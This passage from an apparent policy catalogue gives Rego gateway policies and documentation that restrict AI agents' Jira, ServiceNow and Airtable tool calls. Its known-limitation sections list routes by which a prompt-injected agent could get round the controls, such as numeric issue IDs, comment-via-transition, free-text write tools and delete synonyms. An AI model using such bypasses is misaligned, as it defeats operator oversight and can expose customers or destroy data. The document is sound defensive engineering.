your IdP's group name at import time. The injected `value` `"Service Desk Team"` is the default JSM Service Desk Team project role name; if your project uses a different role/group for internal comments, change `internal_visibility` accordingly. - **`groups` claim shape.** The `groups` claim is assumed to be an array of strings. A caller with no `groups` claim (or no `subject` at all) is treated as **not** a support agent and is rewritten — the exemption fails closed toward the internal-only posture. If your IdP emits a single string or a namespaced claim, adapt `is_support_agent`. - **Numeric issue IDs bypass the JSM match — documented residual.** A comment can be addressed by the numeric issue ID (e.g. `issueIdOrKey: "10023"`, or the same value sent as a JSON number) instead of the project key. The project of a numeric ID cannot be determined without an API call, so such a call does not match any configured JSM key prefix and passes through untouched. An agent (or injection) that uses the numeric ID can therefore post a portal-visible comment on a JSM issue. To close this, pair with a policy that denies `addCommentToJiraIssue` calls whose `issueIdOrKey` is not an alphabetic `KEY-nnn` shape, or resolve the ID→project mapping upstream. - **Key normalisation is whitespace-only — embedded junk is a residual.** The project prefix is `trim_space`d, so leading/trailing spaces, tabs, and newlines around an otherwise-valid key (`" SUP-123"`, `"SUP-123\n"`) still match the JSM set and are rewritten. Characters embedded *inside* the prefix (e.g. a zero-width space, `"SUP​-123"`) are **not** stripped and would miss the match — but such a mangled key is not a valid Jira issue key and fails at the server rather than posting a portal-visible comment. If you need defence against embedded control characters, pair with a schema-validation ingress policy that rejects non-`KEY-nnn` shapes. - **Comment-via-transition escape hatch — documented residual.** The official `transitionJiraIssue` tool accepts open `fields`/`update` objects (verified in the landscape note), and Jira's transition API adds a comment via `update.comment[].add` — with its own optional visibility. A comment posted that way never passes through `addCommentToJiraIssue` and is not inspected by this policy, so an injected agent can land a portal-visible comment on a JSM issue by transitioning it. Pair with a policy that denies or strips `update`/`fields` payloads on `*transitionjiraissue` (see the landscape note's publication-control candidate) to close this. Official `editJiraIssue` exposes only a `fields` object, and Jira does not accept comment adds via `fields`, so it is not a comment route per the verified schema. - **Customer-facing audiences beyond the default are not detectable.** The rewrite refuses to treat `{type: "role", value: "Service Desk Customers"}` (the default JSM customer role, compared lower-cased/trimmed via the `customer_facing_values` placeholder set) as restrictive — otherwise an injected agent could "restrict" a comment to the customers themselves. Any *other* role or group whose membership includes portal customers is indistinguishable from an internal one at the gateway; extend `customer_facing_values` with your site's customer-containing roles/groups at import time. - **Community `jira_add_comment` / `jira_edit_comment` are not matched.** `sooperset/mcp-atlassian` names its comment tools `jira_add_comment` and `jira_edit_comment` with a different (unverified) visibility argument. Per the no-invented-names rule this policy adds no speculative suffix; if your gateway front-ends the community server, confirm the real tool and visibility field with the dump-input technique and add them before relying on this policy there. - **Non-restrictive existing `commentVisibility` is overwritten — wholesale.** If a call supplies a `commentVisibility` that is malformed (including a non-object value), uses an unrecognised `type` (e.g. `type: "public"`), carries an empty/whitespace-only `value`, carries any key beyond `{type, value}` (e.g. `identifier`), or names a customer-facing audience, it is treated as unrestricted and **replaced in full** with the internal default — the existing object is dropped before the injection, so no caller-supplied key inside it survives. A well-formed `role`/`group` visibility with a non-customer-facing, `trim_space`-non-empty value is preserved as-is (the caller's internal scoping choice is respected even if it differs from the default). - **Malformed (non-object) `args` pass through unmodified.** If a caller sends `args` as a string or array, the `object.get` chain is undefined on a non-object, so the rewrite never fires and the call passes through. Such a call cannot carry a valid `commentBody`/`issueIdOrKey` and fails at the server rather than posting a portal-visible comment. Pair with `role-gate-writes` or a schema-validation ingress policy if you want malformed writes rejected outright. - **Visibility only, never a deny.** This policy never blocks a comment; it only scopes it internal. Pair it with `role-gate-writes` if some callers should not be able to comment at all. - **Identity placeholders.** Group names are placeholders — replace `support-agents` with your IdP's group name at import time. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package jira.ingress.force_internal_jsm_comments # Transform-only policy: allow everything, and rewrite addCommentToJiraIssue # calls on JSM projects so agent-drafted text is scoped to an internal role # instead of landing on the customer-facing portal. Never denies. default allow := true # --------------------------------------------------------------------------- # Configuration placeholders — replace at import time # --------------------------------------------------------------------------- # JSM project-key prefixes whose comments must be internal-only. Upper-case. # PLACEHOLDER: replace with your JSM project keys. jsm_project_keys := {"SUP", "HELP", "ITSM"} # IdP group whose members may post customer-portal-visible comments (their # calls pass through unmodified). PLACEHOLDER: replace with your IdP group. support_agents_group := "support-agents" # The commentVisibility injected onto unrestricted JSM comments. "Service Desk # Team" is the default JSM project role; change value for your project's role. internal_visibility := {"type": "role", "value": "Service Desk Team"} # commentVisibility.type values that actually restrict a comment to an internal # audience. Anything else is treated as unrestricted (portal-visible). restrictive_visibility_types := {"role", "group"} # Role/group names whose membership includes portal customers — a visibility # naming one of these is NOT internal, so it is rewritten like an unrestricted # comment. "Service Desk Customers" is the default JSM customer role. Compared # lower-cased/trimmed. PLACEHOLDER: extend with any customer-containing # roles/groups in your site. customer_facing_values := {"service desk customers"} # --------------------------------------------------------------------------- # Shared accessors — every possibly-missing field is read via object.get # --------------------------------------------------------------------------- args := object.get(object.get(input, "payload", {}), "args", {}) # addCommentToJiraIssue tool. Verified official name; the gateway prefixes the # server name, so match by suffix for portability. Case-insensitive so a # mixed-case tool name can't slip past. Match on resource.name OR the legacy # payload.name alias (both populated on tool hooks, same value): a call that # arrived with an absent/empty resource.name would otherwise miss the match and # pass the comment through portal-visible — a fail-open leak. Reading both via # object.get also means a missing `resource` object can't error the rule. is_add_comment_call if { input.action == "tool_pre_invoke" endswith(lower(object.get(object.get(input, "resource", {}), "name", "")), "addcommenttojiraissue") } is_add_comment_call if { input.action == "tool_pre_invoke" endswith(lower(object.get(object.get(input, "payload", {}), "name", "")), "addcommenttojiraissue") } # Project prefix of issueIdOrKey (substring before the first "-"), upper-cased. # The raw value is trim_space'd first so leading/trailing whitespace, tabs, or # newlines (" SUP-123", "SUP-123\n") can't push the prefix out of the JSM key # set and slip a portal-visible comment through. split always yields >= 1 # element, so this is defined whenever args is an object; a bare numeric ID # (no "-") yields the whole string, which won't be in the JSM key set # (documented residual). issue_project := upper(split(trim_space(object.get(args, "issueIdOrKey", "")), "-")[0]) # True when the issue belongs to a configured JSM project. is_jsm_issue if { jsm_project_keys[issue_project] } # True when the caller is in the support-agents exemption group. Missing claims / # missing subject fail closed (no group -> not exempt -> comment is rewritten). is_support_agent if { claims := object.get(object.get(input, "subject", {}), "claims", {}) some g in object.get(claims, "groups", []) g == support_agents_group } # True when the caller already scoped the comment to an internal audience: a # commentVisibility object with a role/group type and a non-empty value. When # true, the comment is not portal-visible and is left untouched. has_restrictive_visibility if { cv := object.get(args, "commentVisibility", {}) is_object(cv) # Only the exact verified shape {type, value} counts. An extra key (e.g. the # REST "identifier" field) could re-address the audience by ID while `value` # looks internal, so any unexpected key disqualifies the object and the # visibility is replaced wholesale with the internal default. object.keys(cv) == {"type", "value"} restrictive_visibility_types[lower(object.get(cv, "type", ""))] value := object.get(cv, "value", "") is_string(value) # trim_space so a whitespace-only value (" ", "\t") can't pass off a bogus # visibility as "restrictive" and dodge the internal-default rewrite. trim_space(value) != "" # A role/group whose membership includes portal customers is not internal — # {type: "role", value: "Service Desk Customers"} must not count as # restrictive, or an injected agent could scope the comment to customers. not customer_facing_values[lower(trim_space(value))] } # --------------------------------------------------------------------------- # Transform: inject internal commentVisibility on unrestricted JSM comments # --------------------------------------------------------------------------- # The caller's commentVisibility is removed before the union: object.union # merges nested objects recursively, so unioning over an existing # commentVisibility would let extra caller-supplied keys (e.g. the REST # visibility "identifier" field) survive inside the injected object and # re-address the audience. Dropping it first replaces the object wholesale. transform := {"transformed_payload": object.union(object.remove(args, {"commentVisibility"}), {"commentVisibility": internal_visibility})} if { is_add_comment_call is_jsm_issue not is_support_agent not has_restrictive_visibility } ``` ### Force ServiceNow Comments to Internal Work Notes URL: https://www.intentbasedpolicy.com/policies/servicenow/force-internal-comments App(s): servicenow | Direction: ingress | Bundles: soc2 | Package: servicenow.ingress.force_internal_comments | Published: 2026-07-12 | Tags: servicenow, force-internal-comments, comments, work-notes, ingress, soc2, finra Source: https://github.com/dtwoai/policy-store/blob/main/apps/servicenow/force-internal-comments/policy.md # servicenow / force-internal-comments **Direction:** ingress (`tool_pre_invoke`) **Default:** allow with transform (transform-only, no deny branch) **Package:** `servicenow.ingress.force_internal_comments` ## What it does Keeps agent-drafted ServiceNow comments off the customer/employee-visible journal by rewriting `add_comment` calls to internal work notes. ServiceNow's `add_comment` tool takes an `is_work_note` boolean that **defaults to `false`** — a `false` (or omitted) value posts the text as an *additional comment*, which is visible to the end customer/employee on the record and in portal/notification emails. `is_work_note: true` posts the same text to the internal **Work notes** journal, visible only to fulfillers. This policy: - **Transforms** `add_comment` to set `is_work_note: true` when the caller is **not** in the placeholder `service-desk` IdP group. The rewrite fires both when `is_work_note` is **absent** and when it is **explicitly `false`** (or any non-`true` value), so an agent cannot opt out of the internal-only posture simply by omitting the field or sending `false`. - **Passes through unmodified** for callers who *are* in the `service-desk` group — those users are expected to post customer-facing replies as part of their job. - **Passes through unmodified** any call that already sets `is_work_note: true` (nothing to fix) and every tool other than `add_comment`. The check runs at ingress, before the call reaches the ServiceNow MCP server, so a would-be customer-visible comment is rewritten to an internal note before it is ever written to the record. This is a *visibility* control only — it never denies the comment, it only changes where the text lands. ## Compliance alignment - **SOC 2 C1.1 (Confidentiality)** — supports maintaining and protecting confidential information on the MCP path: agent-drafted text is confined to the internal Work notes journal instead of the customer/employee-visible comment journal, so internal commentary is not published to a customer-facing channel unless it originates from a supervised service-desk role. - **FINRA Rule 3110(a)/(b)(4), 3110.09 / 4511** — supports alignment with the supervision-and-retention-of-communications controls (Partial, MCP path) by keeping agent-generated text out of the customer-facing communication channel unless it originates from a supervised service-desk role; agent commentary is routed to the internal work-notes journal rather than being published to the customer as an unsupervised retail communication. - **FINRA Rule 2210(b)(1)** — supports alignment with the principal-pre-approval-of-retail-communications control (Partial, MCP path): by default an agent's text is confined to internal work notes, so it does not reach a customer as a retail communication without a supervised (service-desk) human in the loop. Beyond the SOC 2 C1.1 confidentiality alignment above, this policy also supports the FINRA financial-services-communications controls (PF-26). FINRA has no bundle slug in this phase, so only the `soc2` bundle tag is claimed. ## Why ingress and not egress Posting a comment is a write with an immediate, externally visible side effect — once `add_comment` reaches ServiceNow with `is_work_note: false`, the text is on the customer-visible journal and may already have been syndicated to notification emails. Egress redaction would only mask the *response* the agent sees, not the journal entry itself. Rewriting `is_work_note` at ingress, before the call executes, is the only placement that actually keeps the text off the customer-visible journal. ## Tool name matching Matches by suffix, case-insensitively: - `*add_comment` `add_comment` is the verified tool name in both community servers that expose it — echelon-ai-labs/servicenow-mcp and michaelbuckner/servicenow-mcp (both `verb_noun` snake_case, no vendor prefix). The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `servicenow-mcp-add_comment`), and that prefix is not standardized across deployments, so suffix matching keeps the policy portable. Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. The suffix is tested against **both** `input.resource.name` (the canonical PARC field) **and** the legacy `input.payload.name` alias, each read through an `object.get` chain. Both are populated on tool hooks and carry the same value, so the second branch is defense-in-depth: it ensures that a call which arrived with an absent or empty `resource.name` still matches via `payload.name` rather than passing the comment through customer-visible (a fail-open leak on this visibility control), and it means a missing `resource` object cannot error the rule. The official ServiceNow MCP Server (MCP Server Console) has **no fixed tool inventory** — tool names are instance-defined by the admin who publishes each skill/subflow/API. This policy does not attempt to match official-server CSM/case-comment tools; pair it with a per-tenant `default-deny-unknown-tools` policy on that server (see Composition). ## Argument shape Verified from `echelon-ai-labs/servicenow-mcp` (`src/servicenow_mcp/tools/incident_tools.py`): - `add_comment`: `incident_id` (req), `comment` (req), `is_work_note` (bool, **default `false` → customer-visible** journal entry). All fields are read via `object.get` chains. `is_work_note` is treated as "needs rewrite" whenever it is not exactly the boolean `true` — an absent field, an explicit `false`, or any non-boolean value (e.g. the string `"false"`) all resolve to a rewrite. The rewrite merges `{"is_work_note": true}` over the caller's `args`, so `comment`, `incident_id`, and any other supplied fields are preserved. ## Examples ### Transformed (non-service-desk caller, is_work_note omitted) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "servicenow-mcp-add_comment", "type": "tool" }, "subject": { "sub": "agent@example.com", "claims": { "groups": ["staff"] } }, "payload": { "name": "servicenow-mcp-add_comment", "args": { "incident_id": "INC0010001", "comment": "Investigating now." } } } } ``` `allow = true`; `transform.transformed_payload` becomes `{ "incident_id": "INC0010001", "comment": "Investigating now.", "is_work_note": true }`. ### Transformed (non-service-desk caller trying to opt out with is_work_note: false) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "servicenow-mcp-add_comment", "type": "tool" }, "subject": { "sub": "agent@example.com", "claims": { "groups": ["staff"] } }, "payload": { "name": "servicenow-mcp-add_comment", "args": { "incident_id": "INC0010001", "comment": "hi", "is_work_note": false } } } } ``` `allow = true`; `is_work_note` is forced from `false` to `true`. ### Passed through (service-desk caller) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "servicenow-mcp-add_comment", "type": "tool" }, "subject": { "sub": "desk@example.com", "claims": { "groups": ["service-desk"] } }, "payload": { "name": "servicenow-mcp-add_comment", "args": { "incident_id": "INC0010001", "comment": "Your issue is resolved." } } } } ``` `allow = true`, no transform — a service-desk member may post a customer-visible reply. ## Composition This policy is single-purpose — it controls comment **visibility** only, not whether the caller may comment at all. Useful companions: - **`role-gate-writes`** (PF-12) — decides whether the caller may call `add_comment` (or any write) in the first place. This policy composes cleanly on top: role-gate-writes admits the write, force-internal-comments confines its visibility. - **`default-deny-unknown-tools`** (PF-28) — mandatory for the official ServiceNow MCP Server, whose CSM/case-comment tools are instance-named and not matched here. - A secrets/DLP ingress policy on the `comment` body if you also want to block credentials or PII from being written to the journal at all. ## Known limitations - **Group name is a placeholder — replace at import time.** The exemption group ships as `service-desk`; replace it with your IdP's group name. Group names are placeholders — replace `service-desk` with your IdP's group name at import time. The `groups` claim is assumed to be an array of strings; if your IdP emits a single string or a namespaced claim, adapt `is_service_desk`. A caller with no `groups` claim (or no `subject` at all) is treated as **not** service-desk and is rewritten — the exemption fails closed toward the internal-only posture. - **`add_work_notes` is left untouched — by design.** michaelbuckner/servicenow-mcp exposes a separate `add_work_notes` tool that is already internal-only; it needs no rewrite and this policy does not match it. - **`update_incident` and official-server CSM case tools are not covered.** `update_incident` (echelon) can set `work_notes` and `close_notes` — those are internal journal fields, so no rewrite is needed there — **but** `update_incident` and the official ServiceNow MCP Server's CSM/case tools may expose *other* customer-visible fields (e.g. a customer-facing `comments`/`additional comments` field, case correspondence, or a public reply action) that this policy does **not** inspect or rewrite. If your deployment uses those surfaces, add companion policies for them; do not assume this single policy makes every ServiceNow write internal-only. - **Generic / natural-language write tools are an uncovered escape hatch — pair with a default-deny policy.** The michaelbuckner server ships `natural_language_update` (a write driven by free text, with no structured, inspectable `is_work_note` field diff) plus generic `perform_query`/`update_script` tools. An agent could post customer-visible comment text through `natural_language_update` (e.g. "add a comment to INC0010001 that the customer can see …") without ever invoking `add_comment`, and this policy would **not** intercept it — there is no boolean field to force. This is a residual bypass by design: a single-purpose visibility transform cannot safely rewrite an unstructured NL write. Do **not** deploy this policy on a server that exposes free-text/generic-write tools without also attaching `default-deny-unknown-tools` (PF-28) and/or a policy that denies `natural_language_update`/`perform_query` outright (see Composition). - **Tool-name ordering divergence (`noun_verb` servers) is not matched.** The suffix match `add_comment` covers the two `verb_noun` community servers (echelon, buckner) and their gateway-prefixed forms. Servers that order names `noun_verb` (e.g. LokiMCPUniverse's `incident_create` style) would expose a comment tool as something like `comment_add`, which `endswith(…, "add_comment")` does **not** catch. The landscape note does not verify that such a server actually ships a comment tool or an `is_work_note`-equivalent field, so — per the no-invented-tool-names rule — this policy does not add a speculative suffix. If your gateway front-ends a `noun_verb` server, confirm the real comment tool name with the dump-input debug technique and add its suffix to `is_add_comment_call` before relying on this policy there. - **Non-boolean `is_work_note` values.** A non-`true` value of any type triggers the rewrite (forced to `true`), which is the safe direction. A value that is already the boolean `true` is passed through untouched. A caller who supplies the flag under a *differently-cased* key (e.g. `Is_Work_Note: false`) does **not** suppress the rewrite: JSON keys are case-sensitive, so the lowercase `is_work_note` is absent, the rewrite fires, and `object.union` adds the canonical lowercase `is_work_note: true` (which the Python community servers read) alongside the caller's ignored mixed-case key. - **Malformed (non-object) `args` are passed through unmodified.** The rewrite only fires when `args` is a JSON object. If a caller sends `args` as a string or array, `object.get(args, "is_work_note", …)` is undefined, so `needs_internal_rewrite` never holds and no transform is applied — the malformed call passes through untouched. This is a residual fail-open, but a non-object `args` cannot carry a valid `comment`/`incident_id` through the echelon or michaelbuckner servers (both expect a dict), so such a call fails at the server rather than posting a customer-visible comment. If you want malformed writes rejected outright rather than passed through, pair this with `role-gate-writes` or a schema-validation ingress policy. - **Visibility only, never a deny.** This policy never blocks a comment; it only relocates the text to the internal journal. Pair it with `role-gate-writes` if some callers should not be able to comment at all. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package servicenow.ingress.force_internal_comments # Transform-only policy: allow everything, and rewrite add_comment calls so # agent-drafted text lands on the internal work-notes journal instead of the # customer/employee-visible comment journal. Never denies. default allow := true # --------------------------------------------------------------------------- # Configuration placeholder — replace at import time # --------------------------------------------------------------------------- # IdP group whose members may post customer-visible comments (their calls pass # through unmodified). PLACEHOLDER: replace with your IdP's group name. service_desk_group := "service-desk" # --------------------------------------------------------------------------- # Shared accessors — every possibly-missing field is read via object.get # --------------------------------------------------------------------------- args := object.get(object.get(input, "payload", {}), "args", {}) # add_comment tool. echelon-ai-labs and michaelbuckner both name it # `add_comment` (verb_noun snake_case, no vendor prefix); the gateway prefixes # the server name, so match by suffix for portability. Case-insensitive so a # mixed-case tool name can't slip past. We match on resource.name OR the legacy # payload.name alias (both are populated on tool hooks and carry the same value): # a call that arrived with an absent/empty resource.name would otherwise miss the # match and pass the comment through customer-visible — a fail-open leak. Reading # both via object.get also means a missing `resource` object can't error the rule. is_add_comment_call if { input.action == "tool_pre_invoke" endswith(lower(object.get(object.get(input, "resource", {}), "name", "")), "add_comment") } is_add_comment_call if { input.action == "tool_pre_invoke" endswith(lower(object.get(object.get(input, "payload", {}), "name", "")), "add_comment") } # True when the caller is in the service-desk exemption group. Missing claims / # missing subject fail closed (no group -> not exempt -> comment is rewritten). is_service_desk if { claims := object.get(object.get(input, "subject", {}), "claims", {}) some g in object.get(claims, "groups", []) g == service_desk_group } # The comment is customer-visible unless is_work_note is exactly boolean true. # Absent field (default false), explicit false, or any non-true value all mean # the text would land on the visible journal and must be rewritten. An agent # therefore cannot opt out by omitting is_work_note or sending false. needs_internal_rewrite if { object.get(args, "is_work_note", false) != true } # --------------------------------------------------------------------------- # Transform: force is_work_note := true for non-service-desk callers # --------------------------------------------------------------------------- transform := {"transformed_payload": object.union(args, {"is_work_note": true})} if { is_add_comment_call not is_service_desk needs_internal_rewrite } ``` ### Freeze Destructive Airtable Deletes URL: https://www.intentbasedpolicy.com/policies/airtable/freeze-record-deletion App(s): airtable | Direction: ingress | Bundles: soc2 | Package: airtable.ingress.freeze_record_deletion | Published: 2026-07-12 | Tags: airtable, freeze-destructive-ops, record-integrity, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/airtable/freeze-record-deletion/policy.md # airtable / freeze-record-deletion **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `airtable.ingress.freeze_record_deletion` ## What it does Denies every destructive Airtable tool call unless the caller's IdP token carries the placeholder group `airtable-admins`. All read tools and every non-destructive write pass through unchanged. Destructive tools are matched by a **blanket `*delete*` substring** on the tool name (case-insensitive), which deliberately covers both Airtable server dialects with one rule: - **`delete_records` (domdomegg community server)** — a **batch** delete keyed by a `recordIds` array, so a single call's blast radius is the whole array. Its only mitigation is Airtable's revision history / trash; there is no API-level undo. This is the biggest capability delta versus the official server, and behind domdomegg (or the 42-tool `rashidazarang` server) this policy is load-bearing. - **`delete_page` (official / Claude-connector server)** — deletes an interface page (moderate severity). The official remote server exposes **no record- or table-delete tool**, so behind the Claude connector this policy is mostly a forward-looking guard — but it still catches `delete_page`. Airtable deletions over MCP are irreversible at the API level, so surviving an agent error or a prompt-injection is exactly the point: a hallucinated "cleanup" step or an injected instruction cannot permanently destroy rows or pages through the agent channel. The check runs at ingress, before the call reaches the Airtable MCP server, so a blocked delete never executes. `default allow := false` here applies **only to the matched destructive tools** — the deny-by-default is neutralized for every other tool by an explicit pass-through `allow` branch (`not is_destructive_tool`). Reads (`list_records`, `search_records`, `get_record`, `list_records_for_table`, …) and non-destructive writes (`create_record`, `update_records`, `create_records_for_table`, …) are never touched by this policy. Crucially, `default allow := false` also means a delete-shaped call that arrives with **no identity claims at all** (no `subject`, no `groups`) is denied — the admin exemption fails closed. ## Compliance alignment - **SOC 2 PI1.5** — supports integrity of stored records by removing the agent's unilateral ability to destroy them. - **GDPR Art. 5(1)(d)** — supports the accuracy principle by preventing mass-corruption/loss of personal data: a batch `delete_records` call cannot silently wipe contact/candidate rows through the agent. ## Tool name matching The two mainstream Airtable servers name their delete tools differently: domdomegg uses the terse `delete_records`; the official server uses `delete_page` (and its data-write tools carry a `_for_table` suffix). Behind a DTwo gateway both additionally receive the configured server-name prefix (e.g. `airtable-`), arriving as `airtable-delete_records` or `airtable-delete_page`. Because the two destructive verbs share **no common suffix** (`…records` vs `…page`), an `endswith` suffix match cannot cover both with one pattern. Matching is therefore done by a **`contains` substring on the marker `delete`**, case-insensitively: - `contains(name, "delete")` catches `delete_records`, `delete_page`, both behind any gateway prefix, and any bare/local spelling — plus any additional `*delete*` tool the unverified 42-tool `rashidazarang` server may expose (e.g. a table- or field-delete). Over-matching is the safe direction for a record-integrity freeze. A `contains` match is also naturally robust against trailing-character evasions that trip a suffix match: a name padded with a trailing space, tab, newline, or a trailing zero-width space still contains the `delete` substring and is still caught. The name is additionally coerced to a lowercased, `trim_space`d string for consistency. The name is read from both the PARC field (`input.resource.name`) and the legacy alias (`input.payload.name`) via `object.get` chains, and the two are matched **independently** — a request missing the `resource` block, or one carrying a malformed (non-string) value in either field, still cannot skip the match. Each field is coerced to a lowercased, whitespace-trimmed string (a number, null, array, or object resolves to the empty string), so a non-string value in one field can never suppress a genuine `delete` marker in the other. Airtable's tool set evolves and the `rashidazarang` server's per-tool names are **unverified** in the landscape note — verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape None. The decision uses only the tool name (`input.resource.name`, with the legacy `input.payload.name` as fallback) and the caller's identity (`input.subject.claims.groups`); arguments are not inspected. `delete_records` takes only `{ baseId, tableId, recordIds: [...] }` and `delete_page` takes a page identifier, so there is nothing in the arguments to distinguish a safe delete from a dangerous one — the whole verb family is frozen. Group membership is read via an `object.get(input.subject, "claims", {})` chain and fails closed: a missing subject, missing claims, missing `groups`, or a non-array `groups` value all mean "not admin", so the destructive call is denied. ## Examples ### Allowed — read tool, any caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "airtable-list_records", "type": "tool" }, "payload": { "name": "airtable-list_records", "args": { "baseId": "app123", "tableId": "tbl123" } } } } ``` `allow = true`, no reason. ### Allowed — delete_records by an admin ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "airtable-delete_records", "type": "tool" }, "subject": { "sub": "admin@example.com", "claims": { "groups": ["airtable-admins"] } }, "payload": { "name": "airtable-delete_records", "args": { "baseId": "app123", "tableId": "tbl123", "recordIds": ["rec1", "rec2"] } } } } ``` `allow = true`. ### Denied — delete_records by a non-admin ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "airtable-delete_records", "type": "tool" }, "subject": { "sub": "user@example.com", "claims": { "groups": ["marketing"] } }, "payload": { "name": "airtable-delete_records", "args": { "baseId": "app123", "tableId": "tbl123", "recordIds": ["rec1"] } } } } ``` `allow = false`, `reason = "This Airtable deletion is blocked (...)"`. ## Composition This policy is single-purpose: it freezes `*delete*` tools and nothing else. Pair it with: - a **base allowlist** (ingress deny of any call whose `baseId` is not on the approved `app…` list) to confine the agent to sanctioned bases, - a **destruction-by-overwrite guard** — `update_records` / `update_records_for_table` can blank or corrupt fields without a `delete` in the name, and a batch `update_field` type change can destroy data fidelity; those are intentionally out of scope here, - a **no-external-exposure** deny on `publish_interface` / `create_interface` / `create_page` / `upload_attachment`, - an **egress PII redaction** policy on `list_records*` / `search_records` / `get_record*` responses. For a hard guarantee against unknown/renamed upstream tools (especially on the unverified `rashidazarang` server), compose the PF-28 `default-deny-unknown-tools` allowlist alongside this policy. ## Known limitations - **Group names are placeholders — replace `airtable-admins` with your IdP's group name at import time.** The gate reads `input.subject.claims.groups`; confirm your IdP actually emits a `groups` claim (Auth0 and most IdPs require explicit configuration) before relying on the admin exemption. With no `groups` claim the policy still fails closed: destructive calls are denied for everyone. - **`rashidazarang` tool names are unverified.** The landscape note advertises 42 tools "covering every PAT scope" but does not verify individual names. The blanket `*delete*` match will catch any of its delete tools whose name contains `delete`, but a destructive tool named without that substring (e.g. a `purge_*` or `remove_*` verb) would not be caught. Introspect the live tool list before relying on this against that server, and compose PF-28 for a closed allowlist. - **`*delete*` over-matches by design.** Any tool whose name contains `delete` is frozen — including hypothetical read-oriented tools such as `list_deleted_records` or `get_deletion_history`, and, notably, any **restore/undo** tool named `undelete_records`. Blocking an undelete tool is counter-productive (restore is the mitigation for an accidental delete), so if your server exposes one, add an explicit `allow` carve-out for it or move to an exact-name allowlist. Over-matching is otherwise the safe direction for a record-integrity freeze. - **Non-`delete` destructive synonyms pass through.** The freeze keys on the single marker `delete`, so a destructive verb spelled without it — `purge_*`, `remove_*`, `truncate_*`, `drop_*`, `destroy_*` — is **not** caught and is allowed for any caller (confirmed: `purge_records`/`remove_records`/`truncate_table` pass through for a non-admin). Widening the marker set risks over-matching benign tools (`remove_collaborator`, etc.), so this policy stays deliberately single-marker and relies on the PF-28 `default-deny-unknown-tools` allowlist as the closed backstop. If your server (especially the unverified `rashidazarang` one) exposes a delete-class tool named without `delete`, freeze it by name in a companion policy. - **Name-only matching does not inspect arguments — a composite/dispatcher tool can smuggle a delete in its args.** The decision uses only the tool name, never the payload body, so a generic operation-dispatcher or batch-executor tool (if your server exposes one) that carries the destructive operation *inside its arguments* rather than in the tool name — e.g. a hypothetical `execute_operations`/`run_batch` whose body names `delete_records` — has no `delete` in its tool name and passes through. No such generic dispatcher is verified in the landscape note for the mainstream Airtable servers (the `rashidazarang` server's advertised "batch operations" and webhook tools are **unverified**), but if yours exposes one, freeze it by name in a companion policy and compose PF-28 so only audited exact tool names are permitted at all. - **Destruction by overwrite / other surfaces is not covered.** `update_records` (batch) can blank a row's fields, `update_field` type changes can destroy data fidelity, and `publish_interface` can widen exposure — none contain `delete`, so they pass through here. Those belong to the companion policies above; this policy stays single-job on the irreversible `*delete*` verbs. - **Matching assumes the PARC envelope shape — both `resource` and `payload` are objects and the gateway populates a tool name.** The tool name is recovered only from `input.resource.name` and `input.payload.name`. The freeze fails **open** (the call is allowed) precisely when **both** names coerce to `""` — that is, whenever *neither* field carries a string `name`. This happens if `resource` is a non-object (e.g. a bare string) **and** `payload.name` is absent, **and also** if both `name` fields are present but carry non-string values (e.g. `resource.name` a number and `payload.name` an array): each collapses to `""`, `is_destructive_tool` is undefined, and the pass-through branch allows the call. This is not attacker-reachable on a correctly configured gateway: every `tool_pre_invoke` carries `payload.name` set to the invoked tool string, and `resource` is always an object — so at least one field carries the real `delete` name and the freeze fires (see the regression tests where a bare-string `resource`, and separately a both-fields-non-string envelope, are handled). If you cannot rely on that envelope invariant, compose the PF-28 `default-deny-unknown-tools` allowlist so an unrecognizable/absent tool name is denied rather than allowed. - **Substring matching is robust to whitespace/zero-width padding but not to homoglyphs or interior splits.** Because the match is `contains(name, "delete")`, trailing spaces, tabs, newlines, and zero-width spaces do not evade it (the `delete` substring is still present). A Unicode-homoglyph spelling of the verb (e.g. a Cyrillic `е` inside `delete`), or a name with characters inserted mid-verb (e.g. `del ete_records`), would not contain the ASCII substring and would pass through. This is not a real evasion on a correctly configured gateway — the gateway routes on the exact server-registered tool name, so an obfuscated name does not resolve to the real destructive tool at the MCP server — but if you cannot rely on that invariant, compose the PF-28 `default-deny-unknown-tools` allowlist so only audited exact names are permitted at all. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package airtable.ingress.freeze_record_deletion # Deny-by-default: only the explicit allow rules below permit the request. # Note: the pass-through allow branch (`not is_destructive_tool`) neutralizes # this default for every non-destructive tool, so the default-deny bites only # on `*delete*` tools. It also means a delete-shaped call with NO identity # claims (no subject/groups) is denied — the admin exemption fails closed. default allow := false # Placeholder IdP group allowed to run destructive Airtable operations. # Replace "airtable-admins" with your IdP's group name at import time. admin_group := "airtable-admins" # --- Destructive tool matching --- # The two mainstream Airtable servers name their delete tools differently: # domdomegg uses `delete_records` (batch, by recordIds array); the official # server uses `delete_page` (interface page). Those share no common suffix # (`…records` vs `…page`), so a single `endswith` cannot cover both. Match by # a `contains` substring on the marker "delete", case-insensitively — this # catches `delete_records`, `delete_page`, any gateway-prefixed spelling # (`airtable-delete_records`), any bare/local spelling, and any additional # `*delete*` tool the unverified 42-tool rashidazarang server may expose. # `contains` is also naturally robust to trailing-character padding (space, # tab, newline, zero-width space) that would defeat a suffix match, because # the "delete" substring is still present. Over-matching is the safe direction # for a record-integrity freeze. Verify exact names with the dump-input debug # technique before relying on this in production. destructive_marker := "delete" # Tool name is read via object.get chains 